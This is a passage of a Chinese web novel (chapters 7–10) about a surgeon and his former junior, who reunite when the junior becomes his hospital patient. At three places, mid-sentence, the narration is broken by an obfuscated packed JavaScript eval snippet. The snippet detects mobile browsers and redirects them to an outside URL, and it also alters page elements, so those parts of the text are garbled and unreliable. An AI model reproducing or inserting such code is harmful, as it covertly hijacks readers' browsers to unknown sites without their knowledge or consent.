“学长!”言叙有些慌,强迫自己镇定下来,“我去路边拦车,送你去医院,你先在这等我一下好不好?” 韩翊行点点头。 7. 第7章 经检查,韩翊行是急性肠胃炎,需要在医院挂3天水,配合口服药。 韩翊行疼得厉害,言叙跑前跑后,又是交费,又是取药,他心里过意不去,要不是他提议吃那个变态辣火锅,韩翊行也不至于辣到急性肠胃炎。 输液的时候,言叙坐在韩翊行旁边,手伸到袖子里挠了挠胳膊。 “学长,你怎么样了?” 输上液之后,韩翊行好多了,他冲言叙笑了笑,宽慰道:“没事儿,不用担心。” 言叙不知道该说什么了。 韩翊行说:“学弟,还不知道你叫什么名字。” “言叙。” “哪个叙?” 言叙想了想,拉过韩翊行没有输液的那一只手,在他手心里一笔一划写了个“叙”字。 写完后,韩翊行抽回手,手指虚握盖住掌心。 言叙指尖的温热触感还遗留在掌心里。 痒,一直痒到心坎里。 言叙拿出手机,问:“学长,我能存你的手机号吗?明天我还陪你来输液。” 韩翊行报了自己的手机号,言叙给他拨过来,响了一声便挂断了。 然后他在最近通话里找到那个号,添加新联系人。 韩翊行看着他给自己写的备注是“学长”。 言叙存完备注,抬头看向韩翊行,目光撞到一起,韩翊行偷看被抓包有些心虚。 “你怎么......不问我叫什么名字。” “我知道你叫什么名字啊。”言叙挠了挠耳后的一小片皮肤,“韩翊行,对不对?” 韩翊行有些吃惊,“你怎么知道?” 言叙有些不好意思,“上课的时候,我听到教授叫你名字了,但是我不知道‘翊行’是哪两个字,后来回寝室我在校园网上查了查......” 韩翊行的心脏狠狠撞了下胸腔。 “那......你怎么不备注我的名字?”言叙给韩翊行备注的是“学长”,毕竟学长这两个字是通用的,只要比他年级高的都可以叫学长。 言叙冲他弯着眼睛笑笑,“放心吧,我这里只有你一个‘学长’。” 韩翊行再次体会到胸腔被心脏猛烈撞击的感觉,这是一种新奇的体验,他有些兴奋,同时也有些不知所措。 言叙点进微信里,通讯录有个红色的1,他点开,正是韩翊行的微信,他刚存了韩翊行的号码,系统给他推荐了他的微信。 “我加你微信了学长。” 韩翊行“嗯”了一声。 言叙说,“我发现一个很有意思的事。” “什么事?” “你的名字里有个‘行’字,我的名字里有个‘言’字,我们正好是一言一行,哈哈。” “是挺巧的。”韩翊行说。 言叙抬头看看吊瓶,里边的药液已经不多了,他站起身,“学长,医生说输完液要吃药,我去接杯热水,然后叫护士给你拔针。” “麻烦你了。”韩翊行说。 “不用那么客气学长。” 言叙的背影很清瘦,有着少年人独特的蓬勃朝气,柔软的发丝随着走路的姿势轻轻跃动,将韩翊行心里那池原本平静的湖水掀起阵阵涟漪。 不多时,言叙带着护士来了,手里端着一次性纸杯,里面盛满了水。 护士给韩翊行拔完针,让他自己摁着针眼,拿着空输液瓶走了。 言叙笑吟吟地半蹲在韩翊行旁边,仰头看着他,韩翊行有些受不住这样的目光,脸上有些热。 言叙把纸杯和药放到椅子中间窄窄的扶手上,两只手摊开举到韩翊行面前晃晃。 “我刚才洗过手了哦,你看,干净的。” 韩翊行忍不住笑出了声。 言叙也笑了,按照药单上写的用量,把药抠出来放在自己左手手心里。 右手端起一次性纸杯,放到唇边吹了吹。 “学长,你尝一小口,看看还烫不烫。” 韩翊行用嘴唇抿了一小口,说:“不烫了。” 言叙看着自己手心里的药片,有些发愁。 韩翊行一手摁着另一手上的针眼,腾不出手,自己就这样把手心里的药捂他嘴里,是不是不太好? 还是说要一颗一颗捏着放进他嘴里?那先放进去的很容易化了,嘴里会很苦。 正当言叙发愁之际,韩翊行说,“学弟,你手过来点。” 言叙依言把托着药的那只手往韩翊行面前挪了挪。 没想到,韩翊行直接低下头,滚烫的嘴唇贴上言叙的掌心,将掌心里的药一粒一粒抿到自己嘴里。 言叙感觉自己呼吸都错乱了,整个人呆愣愣的。 韩翊行含混的声音把他拽回现实:“学弟,水。” “哦!”言叙把水递到韩翊行唇边,韩翊行喝了一口,一仰头,把药咽下去,又喝了一口。 “苦不苦?”言叙问。 韩翊行摇摇头:“不苦。” 似乎想起什么,言叙把水杯放到一旁,从衣服口袋里掏出一个红色的小东西递到韩翊行面前。 “学长,这个给你。” 韩翊行看了看他手中红色的旺仔牛奶糖,又看了看言叙,此刻,言叙的耳尖比这红色的糖纸还要红。 “哪儿来的?”韩翊行笑着问他。 “刚才跟那边的小朋友换的。” 韩翊行注意到,言叙钥匙上那个柯南挂件没有了。 那颗旺仔牛奶糖的甜味,十年后还清晰依旧。 高峰在和张博说他十年前的糗事,两个人笑得前仰后合。 “老韩,你作为一个医学生,明知自己不能吃辣还把自己吃成急性肠胃炎,你这恋爱脑,僵尸都不吃。”张博打趣他。 “哎,不过我也理解老韩,就言叙长成那个样子,谁看了能不心动啊。”高峰说,“上学那会儿,甭管男的女的,喜欢言叙的可多了。” “特别好看吗?我今天忙了一天,还没去看过呢。”张博来了兴趣。 言叙来看诊那天,戴着口罩。张博当时自己满身屎,哪有心情看别人长得好不好看,更何况他那时压根不知道这人和韩翊行有过一腿。 “不是在你们科住院呢?”高峰说,“查房的时候去看看。” 张博撂下筷子,饭也不吃了,“我现在就去。” 病房里三个人已经吃完饭,各自躺在床上。 杨子轩拿着一本挺厚的书,嘴里念念有词:“答案之书,请你告诉我,韩大夫喜不喜欢我?”然后随便翻开一页。 言叙有些不自在,看着窗户外边。 沈暮笑着问:“答案之书怎么说的?” 杨子轩撇着嘴拉着脸,把他翻开的那一页给沈暮看。 沈暮视力不错,一眼就看到书上写着四个字:“别做梦了。” 杨子轩有些丧气地捶了捶床,不出几秒,又精神起来,探着头跟沈暮说话:“沈哥,你有没有想问的?” 沈暮想了一会儿,眼神有些放空,他轻声说:“我想问,他会不会原谅我。” 杨子轩也不知道沈暮说的这个“他”是谁,把书抛过去,沈暮一把接住。 “你心里想着问题,随便翻开一页,它就会告诉你答案。” 沈暮闭眼两秒,如杨子轩所言,随便翻开一页,上面写的是:Last time。 L ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305476|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ast time,上一次,跟他这个问题不搭边。 沈暮笑了笑,说:“你看,这个不准的。” 杨子轩有被安慰到。 正想转身问言叙有没有什么想问的问题,准不准无所谓,反正就是拿来玩,打发时间嘛。 这时候,张博推开了房门。 杨子轩笑着跟他打招呼:“张大夫,你来啦!” 张博点点头,问他:“你今天怎么样啊?” 杨子轩说:“还行吧,就是心情有点郁闷。” “又郁闷啥呢小孩儿?” “张大夫,我想不通啊,为什么韩大夫对沈哥就那么好,对我总是爱搭不理的呢?” 张博瞥了沈暮一眼,拍了拍杨子轩的脑袋,心说,你不会想让韩大夫对你那么好的。 但是当着沈暮的面,也不好那么说,于是只能含糊其词:“因为沈暮对于韩大夫,是一个,嗯,特别的存在。” 特别的存在...... 言叙咂摸着这话里的意思,有些失神。 张博绕过杨子轩的床位,来到言叙旁边:“言叙是吧?我是张博医生。” 言叙想起来,他来就诊那天挂的就是这个医生的号,只是他那天突发了一些意外情况,没办法给自己看诊,才叫了韩翊行过来。 “张医生您好。”言叙想要坐起来,被张博打手势止住。 “不用起来了,我就过来看看,你如果有什么事,老韩要是不在的话,也可以找我。” “嗯,知道了,谢谢张医生。” “歇着吧,我走了。”张博说完就往外走,经过沈暮的床位,随口一问:“沈暮今天怎么样?” 沈暮笑着说:“挺好的。” “那就好,”张博开门出去了,又回头说了句:“有事记得摁铃。” 张博走后没多久,又有人推门,言叙以为是张博又回来了,没想到开门的是个没见过的人,没穿白大褂。 言叙有些戒备。 杨子轩问:“你谁啊?有什么事?” “后勤的,”来的那个人亮了亮工作证,“韩大夫说这屋的窗帘坏了,我来换个窗帘。” 三个人都松了口气。 这人搬了个凳子踩着,查看了一下,嘀咕着说:“这窗帘这不也没坏吗?” 杨子轩看他都拿了新窗帘来了,就赶紧说:“这窗帘太薄了,遮光效果不好,反正你都拿了新的来了,就给换了吧大哥。” “行,没问题,”大哥爽朗地说,“这个是韩大夫特意嘱咐我现买回来的,加厚的遮光帘,保你晚上一点光都透不进来。” 大哥安好窗帘后就走了,杨子轩兴奋地跟言叙说:“韩大夫真是面冷心热诶,前两天我刚抱怨过晚上外边的灯光太亮了,今天韩大夫就找人换了窗帘,韩大夫果然心里有我!” 言叙“嗯”了声,盯着那新换的窗帘出神,神色有些忧虑。 “吃药了。”护士推着小车进来,对照着单子取了药放在小托盘里。 依次放在沈暮和杨子轩的床头,最后走到言叙床边,跟他核对了名字。 临走说:“吃完药托盘先在这放着,我一会儿过来收。” “好嘞小姐姐!”杨子轩应承着,笑得灿烂。 “哇!今天这是什么待遇?”杨子轩的惊叹声引起了沈暮和言叙的注意。 “怎么了?”沈暮问。 “今天吃药居然有糖诶!”杨子轩说,“这是过年了吗?” 沈暮坐起来看了看,也有些惊讶:“我也有。” 言叙半信半疑,支起身子侧坐着,发现那个小小的托盘里,放着一颗包着鲜红糖纸的旺仔牛奶糖。 8. 第8章 言叙心事重重的,杨子轩问他怎么了,有哪里不舒服吗?言叙摇摇头说没有。 手机震了一下,言叙拿起来一看,是一封邮件: 寰宸科技诚邀您的加入! 尊敬的言叙先生,欢迎您加入我们公司! 寰宸科技有限公司,是国内首屈一指的机器人制造商,我们本部在宁城,目前有开设北城分公司...... 如您感兴趣,请携带以下证件来公司办理入职手续:身份证,户口本,毕业证,学位证,体检报告,无犯罪记录证明,离职证明...... 七年前言叙在校招中通过了这家公司的面试,但当时没有入职。 后来每隔几个月就会收到这个公司发来的入职邀请。 言叙没有在意,熄灭屏幕,躺在床上发呆。 晚上9点,杨子轩就把窗帘拉得严严实实,打开手机手电筒,企鹅姿势摆到门口把灯关了,又躺回床上把手电筒关了。 屋里顿时陷入一片漆黑。 黑得密不透风,连一丝光亮都没有。 不多时,旁边床铺传来杨子轩越来越平缓的呼吸声。 而言叙的呼吸,却不由自主地变得越来越粗重。 他把头埋进被子里,身子缩成一团。 氧气似乎被黑暗侵袭殆尽,耳边是令人毛骨悚然的狞笑,身体仿佛被冰凉黏腻的毒蛇绞紧,手上沾满了烫热的鲜血...... 他仿佛从万里高空绵软的云朵上一跃而下,直接跌入地狱十八层那滚沸的油锅里。 像被一万只黑压压的蚂蚁噬咬,全身不由自主地抽搐、痉挛,黑暗张着血盆巨口将他吞噬。 “言叙,言叙!” 眼前突然出现一道亮光,将所有骇人的黑暗驱逐,他仿佛看到穿着白衣的神明朝他招手。 “言叙,醒醒!” 言叙感觉自己的眼皮沉重得像是坠了铅块,心脏跳得剧烈而纷杂,他大口大口喘着粗气。 “你有哪里不舒服吗?” 耳边传来的,是他魂牵梦萦的声音。 躁动不安得到安抚,神智渐渐回归。 言叙像是刚跑完5000米,头发被汗水浸湿,急促的呼吸慢慢平复。 “没......没事。” 韩翊行半蹲在床侧,担忧地看着他。 房间里的顶灯已经被打开,满室光明,亮如白昼。 言叙恢复平稳,好像刚才只是做了一个噩梦。 他轻声说:“谢谢你了,韩大夫,我没事。” 韩翊行盯了他两秒,似乎想说什么却又强行压抑,最后只说出三个字:“应该的。” 应该的,他是医生,他是病人,照顾病人是医生的职责。 韩翊行起身离开病房,走到门口时犹豫了一下,最终没有关灯。 言叙拿手机看了下时间,9点半,距离关灯睡觉才过去不过半个小时。 旁边的杨子轩睡得平稳安谧,沈暮侧身支着头,有些担忧地问:“小言,你没事吧?” 言叙小声说:“我没事,吵到你了吧。” 沈暮摇摇头:“没事,反正我也睡不着。” 病房里又安静下来,楼道里却不时传来脚步声与说话声。 言叙模模糊糊听到有个护士说:“韩大夫,你的手表找到了,在监控室的桌子上。” 然后是韩翊行的嗓音:“谢谢了。” 护士说:“韩大夫,我记得今天晚上不是你的夜班啊。” 韩翊行说:“我替张博的。” 护士说:“趁现在没什么事,去值班室睡一会儿吧,监控室那里只有个硬邦邦的椅子,坐久了难受。” 声音越来越远,言叙听不到韩翊行的声音了。 这些年,言叙睡眠质量一直很差,经常躺两个小时也睡不着,好不容易睡着了还会突然惊醒,然后再也睡不着。 住院的第一天晚上,言叙做好了睁眼到天亮的准备。 却没想到,睁开眼的时候,天光已经大亮了。 他不知道自己什么时候睡着了,奇异的是,居然睡了一个完整的好觉,中途一次都没有醒,这是他做梦都不敢奢望的。 言叙看到杨子轩还在呼呼大睡,不时吧唧两下嘴,视线越过杨子轩,他看到沈暮醒着,无声地对他说了个“早”。 言叙也做出了个“早”的口型,朝沈暮挥挥手。 他轻手轻脚地下床,裹上自己的羽绒服,上完厕所出了病房门。 坐电梯来到一楼缴费大厅,他跟工作人员报了自己的名字和身份证号,说要缴费。 工作人员查了查,说:“你这账户里目前余额还有一万多,暂时不用缴,等余额不够了会通知你的。” 言叙诧异,他原以为自己是急救进来的,自己昏迷没有办法缴费,目前应该是欠费状态,没想到居然有这么多的余额。 “能查到是谁帮我缴的费吗?”言叙问工作人员。 工作人员说:“这个查不到。” 言叙说了声“谢谢”,便离开了。 他去超市买了毛巾牙刷等日用品,想着做完手术可能会用得到,他又买了一包护理垫。 地下一层是食堂,言叙想着,昨天晚上吃了沈暮和杨子轩的饭,今天早上他来给他们买饭吧。 言叙拎着热乎乎的包子和小米粥回到病房时,从门缝里往里边看了一眼,被这阵仗吓了一跳。 好几个穿白大褂的医生,有几个实习生,还有几个护士,都挤在病房里。 病房里的气氛有些剑拔弩张。 有个护士说:“韩大夫对不起,我刚接班没多久,还在看昨天晚上的病例记录,我也没注意这个患者出去。” 一个实习生说:“什么都没留下,估计是跑了吧。” 另一个医生说:“韩大夫,患者不辞而别,这种情况也正常,毕竟患者要是真不想治,我们拦也拦不住,一会儿上报医务处就没事了。” 韩翊行脸色黑沉得有些吓人,几个实习生都躲在后边不敢说话,屋内气压骤降。 言叙意识到他们讨论的这个逃跑的病人就是自己,心中十分内疚。 他推开门,歉然道:“对不起啊各位,我下去买早餐了,我不知道离开病房要先报备,下次不会了。” 韩翊行瞥了他一眼,不说话,脸色明显缓和了不少。 张博赶紧出来打圆场:“没事没事,快进来,外边冷吧,下次再出去,顺便跟护士台那说一声就行,不是多大事哈。” “谢谢张医生。”言叙不自在地在众人目光中回到自己的床位。 “昨晚怎么样?有没有哪里不舒服?”韩翊行例行公事地问,目光始终在他胳膊托着的病例本上。 “没有不舒服。”言叙回答。 “有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305477|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有出血?” 言叙说:“没有。” 韩翊行在病例本上写了几个字,便头也不回地出了病房。 剩下两个护士给他抽血,量体温,测血压。 一个护士朝门口看了看,确认医生们已经走远了,这才低声跟另一个护士说:“我怎么感觉刚才韩大夫那眼神像要杀人似的?” 另一个护士工作年限长一些,她说:“你还不知道吧,韩大夫有个毛病,他最讨厌病人招呼都不打就走。” “病人走了会扣他工资吗?” “那倒不至于,”护士说,“其实对他也没什么影响,医院每天这么多病人私自出院,医生们也管不过来呀,医务处有处理流程,怎么都怪不到医生头上。不过我看着,刚才韩医生那表情,比以往都要更生气。” 两名护士采完血,记录了体温和血压等各项数据,又嘱咐了两句下次再出去前先打个招呼,便离开了病房。 人都走了,言叙却久久不能安心。 他当年离开韩翊行的时候,也是一声不吭就走了,甚至连分手都没来得及说。 他无法想象韩翊行得有多恨他。 护士走了,杨子轩跟言叙说:“言哥,你是不知道,刚才韩大夫一推门看见你不在,那脸色‘唰’一下就变了,把我吓一跳。” 言叙把买的早餐放小桌子上,给他俩分了。 杨子轩说了声“谢谢言哥”,边吃包子边说:“不过我前两天也经常偷偷跑出去直播,也没见韩大夫生气。” 沈暮说:“可能是因为你的东西都在这儿。” 杨子轩看了看自己堆得满满当当的东西,电脑耳机游戏机,小被子小毯子一大堆,床底下也塞得满满当当的。 “怪不得呢,”杨子轩恍然大悟,“言哥你东西太少了,你人不在,看起来就跟跑路了没什么区别,哈哈。” 言叙冲他笑笑,包子没吃几口,只喝了点粥,没什么胃口。 虽然他也知道,最好的前任就应该跟死了一样,不联系不打扰。 他也不知道为什么莫名其妙就成了韩翊行的病患。 昨天走在路上大出血的时候,他天旋地转,有一种濒死感,他知道自己这个手术是非做不可了。 虽然他不是很想活,但他还有没做完的事,比如,攒够钱然后把欠韩翊行的钱还给他。 他需要找韩翊行聊聊,关于他的手术,关于他的住院费。 敲响医生办公室的门,韩翊行刚好从里面出来,看起来行色匆匆的,见到门口站的是言叙,脚步一顿,眉心稍蹙了一下。 “有事?”韩翊行问。 言叙镇定下来,说:“我想问下我的手术......” “等会儿再说。” 言叙话没说完便被韩翊行打断了,韩翊行拨开他疾步向前走去。 言叙的心猛地下沉,盯着韩翊行的背影消失在墙角。 他失魂落魄地往病房走,手机突然响起来,屏幕上显示的来电人赫然是“学长”。 言叙定了定神,按下接听键,把听筒放到耳边。 “是我。”电话那头传来韩翊行急促的呼吸声还有杂乱的脚步声,言叙听得出来他在跑。 “嗯。”言叙声音微微有些发颤。 “我现在着急去趟急诊,”韩翊行说话有些上气不接下气,“你先回病房,我一会儿去找你,行不行?” 9. 第9章 言叙说不上来自己是什么心情,他只感觉自己走回病房的那几步路是飘在空中的。 回到病房卫生间洗脸刷牙出来,杨子轩疑惑道:“言哥,你刚才不是洗过了吗?怎么又洗一遍?” 言叙愣神一秒钟,恍然意识到自己似乎是已经洗过了。 “太热了。”言叙尴尬道。 “噢。”正在往身上穿厚厚的羽绒服的杨子轩看了眼窗檐上挂着的冰溜子,以及窗外呼号的寒风。 言叙见杨子轩在系围巾,戴帽子,便问:“你要出去?” 杨子轩围巾裹住下半张脸,帽子捂住额头,只露出一双亮晶晶的眼睛。 “我今天上午不用输液,我跟韩大夫说想去急诊大厅直播一会儿,他同意了。” 言叙点点头,又问:“沈暮呢?” 杨子轩把手机夹在支架上,回答道:“他去做全套检查了,估计得好几个小时才能做完。” 说完,杨子轩笑着跟言叙挥挥手:“言哥,我出去啦!” 言叙也朝他挥挥手:“拜拜。” 坐卧不安地在床上躺了一会儿,护士进来给他输液。 言叙盯着药液一滴一滴流入滴斗中,倒置悬挂的药瓶里多出一个一个气泡。 冰凉的药液汇入静脉,他的燥热也一点一点平息下来。 韩翊行进来的时候,言叙条件反射想要坐起来,却被韩翊行快步上前按下肩膀,低沉的嗓音说道:“躺着就行。” 言叙没有坚持坐起来,因为他现在的状况,坐着实在不太方便。 韩翊行抬头看了看输液瓶,余量还有不少,应该是刚开始输没多久。 两个人沉默了几秒钟。 看诊那天的见面有些过于突然,言叙完全不知所措,只想着赶紧逃离。 住院后身边又一直都是人。 今天这样只有两个人处在一个空间里,中间隔着七年被揉皱的光阴,一时有些无从谈起。 正当言叙绞尽脑汁在想该先寒暄还是直奔主题的时候,韩翊行动了动。 不过他没开口说话,而是从白大褂口袋里拿出一个扁平的塑料袋,撕开包装,从里面取出一个一次性蒸汽眼罩。 言叙有些摸不着头脑,只见韩翊行把折叠的蒸汽眼罩展开,然后在距离他输液管末端约摸30厘米的地方又对折,把输液管包裹在中间。 “握着。”韩翊行开了口。 “噢——”言叙伸过内侧那只手,握住蒸汽眼罩。 韩翊行哂笑一声,“用输液的这只手握。” 言叙赶紧把左手收回去,抬起输液的右手,握住蒸汽眼罩。 “用那只手握不别扭吗?”韩翊行讲话的语气像是在对着一个犯傻的小孩儿。 言叙从刚才接完韩翊行的电话回病房后,便设想了无数个韩翊行对他的态度的可能性。 他猜想,韩翊行可能对他冷冰冰的,毕竟当初韩翊行算是被他甩了,他对他怀恨在心也正常。 韩翊行也可能淡漠无所谓公事公办,毕竟已经过去七年了,再深的感情也消耗怠尽了,言叙对他来说,只是一个曾经认识但现在已经没有任何关系的陌生人。 言叙甚至都设想过韩翊行可能对他恶语相向,把他骂个狗血淋头来泄心头之愤,言叙当初不止是不辞而别,而是卷走了他的二十万现金。 却唯独没有想过,他还有资格享受韩翊行的和颜悦色。 蒸汽眼罩接触到空气后开始缓慢升温,言叙感觉自己手心有些微潮湿。 “决定做手术了吗?”韩翊行从旁边拿了个塑料凳,坐在言叙病床边,若不是他穿着白大褂,看起来真的很像是陪床的家属。 言叙点点头,“嗯”了一声,又问:“什么时候可以做?” 韩翊行拿出手机看了下自己满满当当的排期,说道:“今天下午做个检查,血红蛋白正常的话,明天就能做。” 他之前大出血,血红蛋白已经降到了30多,幸亏及时输了血,否则随时可能有生命危险。 言叙点点头,想说句“谢谢韩大夫”,又怎么想怎么别扭,最终没说出口。 默了几秒钟,言叙想到一个新问题:“我今天早上去交费,工作人员说我账户里还有一万多,是你......” “是救助基金会,”韩翊行打断他的话,“你入院的时候一直昏迷,是基金会给你交的钱。” 言叙有些诧异,当时他昏迷,基金会应该只交他急救的钱,等他醒了或者家属来了,后续治疗费应该自己交。基金会怎么会预存那么多钱在他账户里呢? “那等我攒够了钱,我把钱还给基金会吧?”言叙觉得基金会的钱应该留给更需要帮助的人,他自己年纪轻轻有手有脚,怎么都不该让别人负担自己住院治疗的费用。 “随便。”韩翊行冷淡道,然后又说了一句,“不急。” 基金会不急,但言叙急着去上班。 “手术完当天能出院吗?”言叙问。 韩翊行嘴唇微张吸了半口气,看言叙的眼神像是听到了什么天方夜谭。 他想嘲讽一句“你的痔疮是转移到脑子里了吗”,又想苦大仇深地质问一句“怎么,你就那么迫不及待想要摆脱我?” 终是没有开口。 “术后需要住院观察7-15天,根据身体恢复情况再决定什么时候出院。”韩翊行冷淡地说。 言叙有些丧气,自言自语似地说:“啊?需要那么长时间吗?” “着急去见谁吗?”韩翊行盯着窗外。 “没有,我就是,工作上不好请假太长时间。”言叙解释说。 韩翊行面色稍稍缓和,目光移到言叙脸上,“住院期间最好有家属陪护。” 言叙说:“我自己可以的。” 他在宁城无亲无故,连个朋友都没有,没人陪他住院。 韩翊行上身微微后仰,手肘拄在身后的病床上,淡漠道:“随便。” 言叙又问:“手术的时候会打麻药吗?” 韩翊行如实回答:“腰麻,手术过程中不会疼。” 言叙点点头,又问:“是你做吗?”他知道韩翊行是副主任医师,不确定他会不会亲自做这种小手术。 韩翊行盯着言叙的眼睛,目光有些居高临下:“你想让谁做?” 言叙赶紧摇头:“没有没有,服从安排。” 无言了几秒,言叙又问:“手术后有什么注意事项吗?” 他怕做完手术受麻药影响,脑子不清醒,所以提前问清楚,有什么需要准备的东西他也好提前准备。 韩翊行说:“术后注意饮食清淡,多喝水,定时排便;及时换药,按时坐浴,防止创口感染......” 言叙拿手机粗略地记录下来,正打着字,手机毫无征兆地响起来,打断了韩翊行的医嘱。 言叙拿起手机,是有人给他打电话,他目光询问韩翊行是否可以接电话。 韩翊行斜睨着微微抬了抬下巴,让他接。 言叙的老古董手机漏音严重,用听筒接电话跟开了免提似的。 “宝贝儿,你什么时候回来啊,我都想你了!” 言叙多此一举地捂着听筒,压低声音说话仿佛这样韩翊行就听不到了:“浪哥,我现在有点事,一会儿给你回过去行吗?” 对面抱怨了两句,挂断了电话。 言叙调整了下记事本的光标,对韩翊行说:“按时坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305478|182819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴,还有什么?” 韩翊行没接话。 言叙抬头看了一眼,发现韩翊行的脸色像那大暴雨来临之前天空中那铅灰色的云层,黑压压的,让人莫名有种压迫感。 言叙有些手足无措,正在犹豫要不要说“对不起打断你说话了”,韩翊行开了口。 有几分咬牙切齿的意味:“还有,手术后三年之内不可以有X生活。” 言叙咬咬嘴唇,没过脑子问了一句:“要这么久吗?” 纯粹是好奇,痔疮的伤口三年都好不了吗? “你很急?”韩翊行抱着手臂反问,语气冷硬。 “没有没有。”言叙赶紧摇头。他右手手心又湿又热,不知道是出的汗,还是蒸汽眼罩冒出来的蒸汽。 昨天输液的时候,他的手冰得快要失去知觉,全身都冷得打颤。 今天韩翊行用蒸汽眼罩暖着输液管,还让他把蒸汽眼罩握在手里,和昨天的境况天差地别。 言叙心中有种莫名其妙的满胀感,就是不知道,韩翊行是不是对每个病人都这样好。 言叙掀起眼睛偷偷看了韩翊行一眼,韩翊行没在看他,目光似乎落在白墙上,但又有些空茫。 周身气压低得吓人,明晃晃昭示着生人勿近。 看来对于刚才被电话打断的医嘱真的很生气了。 韩翊行把手臂交叠抱在胸前,衣服袖口被拉扯得微微向上。 言叙看到他右手突出的腕骨。 本应白皙光洁的手腕上,赫然凝着一道狰狞的疤痕! 韩翊行手腕露出来的部分不多,疤痕从腕骨旁侧一直延伸到袖子里,不知道衣袖之下还隐藏了多长。 言叙瞳孔巨震,“腾”一下坐起身,不顾身下的疼痛和手上的输液针头,失智一般抓住韩翊行的手。 他左手握着韩翊行的手,右手往上推他的袖子,想要看看那道疤痕到哪里结束。 “你的手......”言叙双目赤红,心中像是被一千根针同时刺下。 韩翊行是外科医生,右手是要拿手术刀的,可他的右手却不知道什么时候受了这么重的伤。 “要你管!”韩翊行似乎是被他吓到,口不择言,又条件反射把言叙推开,垂下手,把衣袖往下拉,想遮住那道疤痕。 却不承想,因为慌乱,手上力道没有收住,把言叙推得一下重心不稳,后脑勺直直撞到金属床管上,发出清脆的一声“咣”。 韩翊行悔不当初,赶紧倾身下去,一手托住言叙的脖颈,另一只手在他脑后被撞到的位置揉了揉。 “撞疼了吗?”韩翊行急切问道。 言叙眼眶湿润,抿紧嘴唇摇了摇头。 韩翊行扶着言叙躺下,刚才的情绪失控似乎只持续了那么一瞬间,现在的韩翊行,又是那个温文有礼的韩大夫了。 韩翊行检查了下言叙的输液针并没有移位,又把蒸汽眼罩调整好位置,塞回言叙手里。 看起来一切正常,仿佛刚才的失控只是假象。 韩翊行问:“还有什么问题吗?”他说的是言叙的手术。 言叙觉得嗓子哽得厉害,几经思索最终还是问出口:“这些年,你过得怎么样?” 韩翊行的伪装似乎被触到了什么机关,一瞬间全部被击溃,他几乎是脱口而出: “你觉得呢?” 质问,挑衅,怨怼,混杂着其他说不清道不明的情愫,劈头盖脸朝言叙砸过来。 言叙僵了一下,他承认他还是不受控制地被这话刺到了。 韩翊行有些烦躁地抓了下头发,又说了句:“挺好的。” 尽管已经尽量控制语气平和了,但言叙还是清晰地听出了隐忍的意味。 10. 第10章 杨子轩收工回来的时候,心中有些雀跃,他平时就直播一些吃喝玩乐的东西,反响平平。 最近直播了几期医院纪实录,粉丝居然噌噌涨了起来。 “言哥!”杨子轩兴奋地推开门,想要跟言叙分享这个好消息,却看到言叙和韩翊行一躺一站对峙着,气氛有些微妙。 韩翊行一言不发,快步离开病房。 “韩......”杨子轩“大夫”两个字还没出口,韩翊行已经把门甩上,发出不轻不重“嘭”的一声。 杨子轩放下尴尬地打招呼的手,来到言叙床边。 “言哥,你又惹韩大夫不高兴了?” 言叙嗓子有些哑,“大概吧。” 杨子轩叹口气,“也不知道韩大夫最近怎么这么容易生气啊,他以前明明不是这样的。” 担忧不过三秒钟,杨子轩的注意力被言叙手里握的蒸汽眼罩吸引了去。 “沃趣言哥,你太聪明了吧,”杨子轩握了握言叙输液的那只手,热乎乎的,“你怎么能想到用蒸汽眼罩暖手呢?你是天才吗?” “言哥,你还有吗?我下午输液,借我一个呗。” “我就只有这一个了,”言叙有些不好意思,“一会儿我输完了下去给你买。” 杨子轩挥挥手:“不用啦,医院超市没得卖,我一会儿给我小叔叔打电话,让他给我送过来。” 正说着,门突然被推开,二人目光投向门口,只见张博医生笑呵呵地冲他们打了个招呼。 “我找个东西。”说着,便走进病房,目光在地上逡巡。 走了一圈,地上连个毛都没有。 张博一抬头就看到言叙输液的那只手里握着个东西。 那花纹,那样式,怎么那么眼熟? “啧啧啧,”张博摇摇头,“真会借花献佛。” 言叙和杨子轩都是一头雾水。 “张大夫,你找什么呢?”杨子轩问。 “找那个......”张博目光一扫,从言叙被子上靠墙的那一侧拿起个东西,“这不是在这儿吗?老韩的工作证!” 张博拿着韩翊行工作证走了,杨子轩心里冒了无数个疑问。 韩大夫的工作证怎么会掉了呢? 掉就掉了,怎么会掉到言哥床上呢? 他跑到言哥床上干什么? 联想到他刚进门时,两人之间那尴尬的气氛。 杨子轩一拍脑袋:韩大夫该不会是和言哥打架了吧? 还是韩大夫双腿叉开跪在床上骑着言哥打的那种! 怪不得言哥眼睛有点红!原来是受了医暴啊! 韩大夫这不是医德败坏吗? 